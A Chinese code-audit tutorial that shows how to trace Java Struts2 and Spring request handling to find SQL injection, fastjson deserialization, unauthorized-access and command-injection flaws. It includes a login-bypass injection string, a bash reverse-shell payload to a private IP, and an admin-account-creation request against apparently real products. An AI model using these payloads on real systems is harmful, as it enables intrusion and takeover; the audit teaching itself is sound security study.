2020代码审计总结(2022修改版_代码审计快速入门)

1. 识别框架

在打开源码时想判断系统框架,可以看其目录结构,例如一个struts2项目中web.xml文件存在Filter-class为:

org.apache.struts2.dispatcher.xxxx

image

以及resources目录(或项目根目录下)中存在strtus.xml

image

如果存在pom那pom.xml中存在struts依赖信息

image

而springmvc的特征则是在pom.xml中会存在相关依赖

image

web.xml中存在关于DispatcherServlet的注册配置

image

其他的诸如jfinal之类的也会有对应的特征

 

2. 审计思路

2.1. Struts2

2.1.1. 映射配置

2.1.1.1. struts.xml

通过struts.xml文件,查看存在哪些action,以及处理具体请求的java文件路径

例如:

image

标签

如图所示,<action标签就是处理请求的配置标签,一个标签表示处理一个请求,在该标签中各字段的属性解释为:

name:请求的uri,即请求的路径;

class:负责处理该请求的类;

method:负责处理该请求的类里的具体方法

标签

<result>标签是结果视图,作为返回结果的,即当一个action处理完之后返回字符串的结果码。框架可以根据这个返回的字符串,映射到指定的页面。result元素可以分为两部分:一是结果映射,一部分是返回结果类型。

结果映射

result有两个属性可以配置:name属性type属性。其中的name属性主要用来指定资源的逻辑名称,实际名称在标签内部指定。type属性就是result的返回类型,通俗的说,在该标签中,name属性是与处理方法的返回结果对应,type属性表示结果类型,场景如下:

1
2
3
4
5
6
public String login() throws Exception {
if(this.req==null){
return “failer”;//name=”failer”
}
return “success”;//name=”success”
}

当方法返回failer时就会跳转到前端/failer.jsp,反之就会跳转到/success.jsp

结果类型

结果类型中常用的有四种:dispatcherredirectredirectActionchain。其中dispatcher相当于转发,redirect相当于重定向,redirecAction也是重定向,只不过使用该结果类型的时候,一般是重定向到某个action,最后一种主要用于action的链式处理。其他的还有plainText(用于显示页面的原始内容,比如Servlet或者jsp的源代码)、xslt等

回到图中配置解释,在该图中

image

login即请求/login,由LoginAction类的login方法处理

请求后缀配置

要确定请求的后缀,可以查看 struts.xml或properties文件的配置

1
<constant name="struts.action.extension" value="do" /> <constant name="struts.action.extension" value="action" /> 

1
2
struts.action.extension = do
struts.action.extension = action

表示.do或.action后缀访问

struts2的动态方法调用和通配符映射

除了以上的映射写法,st2还有一种动态方法调用,但是Struts2默认关闭该功能,需要使用需要手动打开,配置如下

struts.enable.DynamicMethodInvocation = true

动态方法调用

还是这个图

image

当动态方法启用后,以action后缀为例,原来的/login.action会变成/login!login.action(Action配置名!方法名.扩展名),方法调用一样,由LoginAction类的login方法处理

通配符映射

由上图的写法变为下面的写法:

1
2
3
<action name="*_*" class="cn.thc.web.action.{1}Action" method="{2}">      <result>success.jsp</result>   
<result>failer.jsp</result>
</action>

该写法的请求URL表现为:/Login_login,同样是由LoginAction里的login方法处理。{1}{2}表示通配符的位置,这里{1}表示类名Login{2}表示方法名login

 

在审计漏洞之前,我们需要了解一下web各层流程

1.1.1. 层次介绍

通常在struts2中

action为业务逻辑处理层,action层接收来自视图层(前端,用户操作层)的请求,并接收请求参数,同时负责调用模型Model层方法来完成业务逻辑的处理,最后控制程序的流程,选择一个合适的视图,将结果显示给用户,一般这个目录下文件的特征表现为XxxxAction.java,比如NovyAction.java

 

dao为数据持久层,在这层中通常是用来做数据库处理的,增删查改都在这里,一般这个目录下文件的特征表现为xxxxDao.java,比如NovyDao.java

 

在web运行处理请求时流程为视图层<->业务逻辑处理层<->数据持久层

1.1.2. 实例

Idea打开项目,查看目录结构

image

根据之前3.1.1.介绍,查看映射配置

查看struts.xml中含有哪些action以便找到处理请求对应的类

image

根据配置我们知道请求/Gologin由GoLogin类处理,所以我们可以根据路径跟进GoLogin类,其路径组成对应为

src/com/action/GoLogin.java

在idea里,一般可以按住ctrl+鼠标左键点击即可跳转到类

image

1.1.2.1. 代码分析

GoLogin类中我们就可以看到一些对登陆的处理,如果我们找SQL注入的话就看处理登陆参数的相关方法,比如此处new了一个AdminDao类下的checkLogin方法来处理usernamePassword,再根据判断返回的结果是否为空来显示相应内容

image

根据3.1.2介绍我们知道AdminDao为数据持久层,那么ChekLogin方法通常就是对登陆做数据库操作的地方,所以我们跟进一下该方法

image

在此处因为直接拼接请求参数,然后带入数据库去执行查询导致了SQL注入漏洞的产生

1.1.2.2. 漏洞验证

根据前面3.1.1.2介绍我们知道其请求路由为/Gologin,参数表现为

username=aaa&password=aaa

根据漏洞位置我们模拟其sql语句为

Select * from Admin where Admin_Username='username' and Admin_Password='password'

所以登陆时我们可以使用万能用户名来进行登陆绕过

admin'or"="or--+

image

本章思考

在示例中,我们可以看到映射配置中并没有配置具体处理方法,那怎么确定哪个方法是用来处理请求的呢?

Action接口与ActionSupport类

Action接口

这个时候就要说到st2的特性,st2的核心功能就是action,对于开发人员来说,使用st2开发主要就是编写action,为了让开发action类更规范,st2提供了一个Action接口,接口如下所示

image

当使用Action接口创建action的时候,就必须要实现execute方法,回到思考问题上,此时的请求处理就由实现的execute方法执行,即方法实现要在该方法里编写

ActionSupport类

除了实现Action接口之外也可以通过继承ActionSupport来创建action,因为ActionSupport是接口Action的实现类,所以就不用必须再重新实现execute方法,此时就可以自定义一些方法实现,即映射配置里指定的处理方法

1.1. Spring

1.1.1. 配置及依赖

1.1.1.1. Springmvc.xml

在springMVC配置文件中,component-scan是用来查找Controller类所在位置,org.springframework.web.servlet.view.InternalResourceViewResolver为自定义视图解析器

image

1.1.1.2. pom.xml

它是Maven项目中的文件,使用XML表示,也可以由此判断该项目是否为maven项目,该配置文件通常用来声明项目信息、环境的配置、引用组件依赖等等

image

1.1.2. 层次介绍

通常在springmvc中

controller为业务逻辑层,用来接收用户的请求,然后将参数传递到Service层处理业务逻辑,由impl做具体实现,获取到结果后再返回传递,一般请求的url就写在controller中,比如

1
2
@Controller 
@RequestMapping(value = "/hinovy")

则请求url为http://localhost/hinovy

该层级的文件一般为xxxcontroller.java,比如NovyController.java

 

Service是业务接口层,接收Controller层数据,与DAO/Mapper层交互,处理业务逻辑,生成responseDTO数据并返回Controller层 ,该层文件一般为xxxServce.java,比如NovyService.java,此处是接口定义,就是定义一些方法,没有这些方法的实现,但是有时候数据操作会在这里发生

 

Mapper是数据持久层,对数据库进行数据持久化操作,他的方法语句是直接针对数据库操作的,数据持久层文件通常都是xxxMapper.xml,比如NovyMapper.xml,它的上一层是Mapper.java,因为业务实现无法直接与xml层做数据交互,所以就要有一个接口来做中转。

 

Dao是数据接口层,一些数据请求(接口)会在这里发生(一般用于内部实现)

 

Entity是实体处理层,用于存放我们的实体类,与数据库中的属性值基本保持一致(定义前端传来的请求参数)

 

Implements是服务实现层用来处理一些方法的实现(这个方法干了啥干了啥),该层文件一般为xxxImpl.java,比如NovyImpl.java,impl 是把mapper和service进行整合的文件,有时候一些sql操作也会发生在这里

 

在web运行时处理请求的流程为Controller<->Service<->impl<->mapper

1.1.3. 实例

这里以含有漏洞的springboot项目做案例,Idea打开项目,等待依赖导入完成

image

发生报错的就自己下载相关组件导入

查看目录结构

image

按照3.2.2介绍得知流程为controller->services->mapper,按照3.2.2对pom的介绍,我们先看pom.xml引用了哪些组件,以此来找出包含漏洞版本的组件,然后再看controller及其他。

在pom文件中,我们可以看到其引用了含有漏洞版本的fastjson

image

但是看到依赖还不行,要定位到用到该依赖的地方,可以全局搜parseObjectparse来查看请求是否可控。

要找出所有业务逻辑层,可以在idea中利用file mask来查看所有controller:*Controller.java,或全局搜索@Controller

image

随便点进一个搜索结果,从3.2.2介绍得知此处请求url为/informlistpaging,由informListPaging方法处理

image

在此处我们可以看到informListPaging方法有很多注解,其中@RequestParam是获取请求参数,参数名为value值,拿basekey做例子,在该方法中被定义为字符串请求参数。在SpringMvc进行获取请求参数,常见的一般有三种:

1
2
3
4
5
1.request.getParameter("参数名")

2.@RequestParam注解获取

3.Springmvc默认支持的数据类型接收参数,可直接通过controller方法参数对应jsp中请求参数name直接获取

如果是@RequestBody则是获取整个请求体

1.1.1.1. 代码分析

pom.xml

image

看到了存在漏洞的组件,全局搜索json.parseObjectJSONObject.parseObject`` 来查找参数可控的地方

image

在该类中getCommonFields方法里对param参数做了反序列化,但是还没有看到请求的url,所以要往上跟进该方法,看看有哪里调用了getCommonFields

image

在一处业务逻辑层中看到调用的地方,在该方法中,将参数param传进了getCommonFields方法进行反序列化,由于参数是可控的,所以我们可以直接利用,url请求表现为:

/getCommonFields?param=url编码的payload

同样的,按照3.1.3.1的思路,我们想要找注入就找到处理该参数的地方

informListPaging方法的basekey参数为例

image

在80行中,几个参数传进sortMyNotice方法进行处理,这里需要注意的是,nm并不是一个类,而是一个被定义的接口,所以我们需要注意nm在哪里被定义了

image

跟进NoticeMapper

image

此处为数据持久层接口,为nm提供了sortMyNotice方法,但这里还不是数据库操作的地方,因为controller无法直接调用mapper.xml的方法,所以就需要这个mapper.java来做一个接口中转,所以我们根据3.2.2介绍,转到mapper.xml层

全局搜索sortMyNotice方法

image

转到notice-mapper.xml

image

此处的select id即为调用到的方法,往下为sql语句,我们可以看到在like后面直接用%${}%进行模糊查询,没有对参数做预编译,导致了漏洞的产生

1.1.1.2. 漏洞验证

3.2.2的介绍中得知,根据controller构造url:

http://localhost/informlistpaging?baseKey=

image

本章思考

有人会问按照介绍,那service层呢?在这里

image

imformRelationServicesetList方法对mapper处理返回的数据进行封装处理后返回到controller,然后controller返回到视图层,流程结束

image

 

service只是接口?

有时候sql查询会直接发生在XXXservice,比如

某个项目中的某个方法有个查询,定义了一个字符串参数defkey

image

查看wfservice在哪里被定义,也可以直接ctrl+左键直接进入方法

image

跟进WorkFlowService,在该WorkFlowService中搜索前面调用到的getHavedonePage方法,在该方法中含有一条没有进行预编译sql查询,此处直接进行数据查询导致了漏洞的产生

image

image

所有这个名称是看开发,有时候文件名只是文件名,还是要具体看类名前置,如果是public interface WorkFlowService那说明这个类是接口类,具体操作不会发生在这里,这个时候就要找实现它的类

跟到接口断了

当跟进方法时跟到接口断了怎么办,比如出现这种情况

controller里有一个密码重置

image

跟进updatePassword方法

image

到这里之后只看到提供给userServiceupdatePassword方法,没有看到具体的实现,

不要慌,根据3.2.2的介绍,我们还有个impl没有看,有接口那必定有一个实现该接口的类。全局搜索implements UserService

image

就可以看到对接口UserServiceupdatePassword方法的实现

image

这时候再继续往下跟就可以了,流程一样

返回结果

在spring项目中,@Controller@RestController的返回类型是不一致的

@Controller

在使用@Controller注解时,该请求处理的返回结果需要配合视图解析器InternalResourceViewResolver才行,也就是说,当某个请求使用了@Controller,那么它return的内容就必须是前端页面,且页面文件必须存在,场景如下

image

该controller将返回hiindex页面,此时静态资源中就要存在hiindex.htmljsp文件

@RestController

如果只是使用@RestController注解,则Controller中的方法无法返回jsp页面,或者html,配置的视图解析器 InternalResourceViewResolver不起作用,返回的内容就是Return 里的内容。场景如下:

image

此时该controller返回的只是字符串hi或index,不会跳转到对应页面。

1. 小技巧

1.1. 命名

无论是struts还是springmvc/boot,按照我的理解,为了方便区分和后续其他开发,除非另类命名(比如3.1.3),在整个请求处理流程中对于类名的前置命名都是一致的,比如

NovyController->NovyService->(NovyServiceImpl->)NovyMapper.xml

或者下一层级会多出个别字符INovyPNovy等。而不会出现

NovyController->TestService->(WhyServiceImpl->)OasdMapper.xml

这种情况,所以在审计过程中跟进代码时利用全局搜索能更好的提高审计效率

image

当然,有其他实现类实现统一接口的时候情况按前面本章思考说的层级跟进一样跟就行了

1.2. 方法的跟进

通常调用方法时都是类名.方法名,或者写了一个接口,然后再定义一次,如下

private EntityManager em;

这样em就可以用到EntityManager里的方法

比如某个项目有一个序列化工具类SerializeUtil,在该类里有一个deserialize方法来反序列化接收的request数据

image

而在controller中定义了一个接口fvlh

image

然后进行调用

fvlh.deserialize(request);

image

如果我们想找反序列化漏洞就在跟进时可以直接ctrl+左键(idea)来跟进deserialize方法查看具体实现,或者先查看哪里定义了fvlh,然后再根据接口实现去跟进deserialize方法进行漏洞跟踪即可

1. 进阶

红队快速审计

在开始之前,需要继续再了解一下过滤器和处理器映射器。说到过滤器,还有一种拦截器,过滤器关注的是web请求,拦截器关注的是方法调用,比如拦截敏感词汇,有关两者的区别可以自行百度。在红队实施工程中,大都喜欢通过供应链攻击来获得目标项目源码以进行下一步针对性打点。在获得的源码中,java类项目除了springboot之外,一般都以war包的形式基于tomcat部署。接下来就说一下再得到源码之后如何快速找到入口并审出漏洞

过滤器之Web.xml

Web.xml是Java Web项目中的一个配置文件,主要用于配置首页、Filter、Listener、Servlet等。 tomcat在部署启动web应用时,会解析加载${CATALINA_HOME}/conf目录下所有web应用通用的web.xml,然后解析加载web应用目录中的WEB-INF/web.xmlconf/web.xml文件中的设定会应用于所有的web应用程序,而web应用程序的WEB-INF/web.xml中的设定只应用于该应用程序本身。

web.xml加载过程

1,、启动Web项目时,容器(tomcat)会去读取web.xml文件的</listener> </context-param>两个标签节点;

2、容器创建一个ServletContext(上下文环境);

3、容器以的name作为键value作为值,将其转化为键值对,存入ServletContext

4、容器创建</listener>中的类实例,根据配置的class类路径<listener-class>来创建监听,在监听中会有contextInitialized(ServletContextEvent args)初始化方法,启动Web应用时,系统调用Listener的该方法。

5、容器初始化</filter>,web.xml中可以定义多个 filter,初始化每个filter 时,是按照 filter 配置节出现的顺序来初始化的,当请求资源匹配多个 filter-mapping 时,filter 拦截资源是按照 filter-mapping 配置节出现的顺序来依次调用 doFilter() 方法

6、容器初始化</servlet>

有关web.xml标签的解释,可以查看https://www.jianshu.com/p/7f834dd090fe

Filter

过滤器的本质就是一个实现了 Filter 接口的 Java 类,具体表现如下图,针对请求的处理就发生在doFilter方法中。当执行完语句或满足某种条件时就会放行当前请求进入下一个过滤器 chain.doFilter

image

还有一种是通过实现Servlet接口来响应用户请求,表现如下图,处理请求的实现就在service方法中,其继承的HttpServlet就是Servlet接口的实现类(他还继承了GenericServletGenericServlet才是直接实现Servlet的抽象类。每个处理器都有个核心方法,如拦截器就是preHandlepostHandle

image

非注解处理器映射器

其配置场景感觉跟strust2的差不多,有两种写法

第一种: BeanNameUrlHandlerMapping

image

name属性就是请求url,class是负责处理请求的类

第二种:SimpleUrlHandlerMapping

image

prop key会根据其标签值去查找对应的bean id,再根据bean标签对应的Handler(即class)处理请求,这里的prop key="/queryUsers1.action"也是请求url,同一个bean可以有多个url映射

快速审计

案例一、

这里以war项目为例,再得到源码之后解压,直接打开WEB-INF下的Web.xml查看过滤映射配置

image

在idea里,还要右键lib目录,将依赖导入到项目中

image

回到web.xml

image

servlet-name标签标示过滤器名称,每个过滤器处理一个或多个请求。图中名为JsInvokeServlet的过滤器由nc.bs.framework.js.servlet.JsInvokeServlet类实现。该过滤器主要用于处理/jsinvoke/*请求,即<url-pattern>标签

我们直接ctrl+左键点击JsInvokeServlet进入JsInvokeServlet类查看实现,如果JsInvokeServlet爆红,请确认lib有没有被导入,或者可以双击shift键搜索

image

进入到JsInvokeServlet后看其核心方法

image

跟进service直到看到有方法的实现,这里他将req、rep对象传进下一个service,继续跟进

image

在下一层的service方法中看到对请求的响应处理

image

这个时候再根据对应的实现跟进就可以查看有无漏洞了。像这种只有一个过滤器,且实现里没有针对/jsinvoke/*请求的登录校验,那么这里就存在一个未授权访问漏洞。验证漏洞时其url组成为项目名+<url-pattern>标签值。默认情况下,只要项目不在tomcat的ROOT目录里,那么项目文件夹名也是url组成的一部分,如图,拼接得到/uapjs/jsinvoke/

image

image

案例二、

还是查看WEB-INF/web.xml

com.inspur.tsce4.monPhysicalView.Servlet处理/monPhysicalView请求

image

在Servlet类中,会将请求交到Management对象处理

WEB-INF/classes/com/inspur/tsce4/monPhysicalView/Servlet.class

image

image

doResponse方法中,获取请求参数op,当参数值是systemShutdown时就会进到systemShutdown方法

image

systemShutdown方法中,又从请求中获取参数,将参数传到CommandsystemShutdown方法

image

WEB-INF/classes/com/inspur/tsce4/monPhysicalView/Command.class

继续传到doCommand方法

image

doCommand方法中因为调用了系统shell,所以可以使用管道符进行命令拼接,导致命令执行漏洞产生

image

示例:

image

image

根据案例一介绍,搭配web.xml的映射配置,url为:

1
2
3
/tsce4/monPhysicalView?op=systemShutdown

{"nodename":"a | bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 |"}
案例三、

还是web.xml

在web.xml的初始化内容中看到,/sysLogin.do可以不用进行权限校验

image

全局搜索sysLogin.do查看器映射配置

image

这就是前面提到的非注解SimpleUrlHandlerMapping方式,按照介绍这里就跟着标签值查找对应的bean id,搜一下sys.Login

image

跟进其handle查看请求处理实现

WEB-INF/classes/com/founder/newsedit/edit/v2/sys/NewseditSysLoginController.java

handle方法中会通过判断Super的值来进入相应的方法进行处理

image

putSession方法中,会创建一个管理员权限的账号

image

参数表现为

Super=1&UserName=test&UserCode=1&UserID=11&UserPassword=123456

按照前面说到的项目名+web.xml映射路径

所以可以通过请求

/newsedit/e5sys/sysLogin.do?Super=1&UserName=test&UserCode=1&UserID=11&UserPassword=123456

添加管理员账号

 

本章思考

看到这里想必已经清楚了其实很多时候查看xml配置文件能有很多意外之喜,在拿到源码之后,可以通过查看映射配置文件以及过滤器配置文件来快速定位入口以便下一步找到漏洞。由于顺序关系,很多时候在web.xml中就可以找到未授权访问漏洞或者权限绕过漏洞。在找到绕过之后就可以查看业务逻辑层有无敏感的操作,如命令执行、文件上传、用户重置、token获取等搭配绕过来利用。

 

5.参考

在学完以上思路后,基本就可以去审计漏洞跟进代码了,此处列举常见漏洞场景,以供参考

image


声明:
本文章用于学习交流,严禁用于非法操作,出现后果一切自行承担,阅读此文章表示你已同意本声明。

Disclaimer:
This article is for study and communication. It is strictly forbidden to use it for illegal operations. All consequences shall be borne by yourself. Reading this article means that you have agreed to this statement.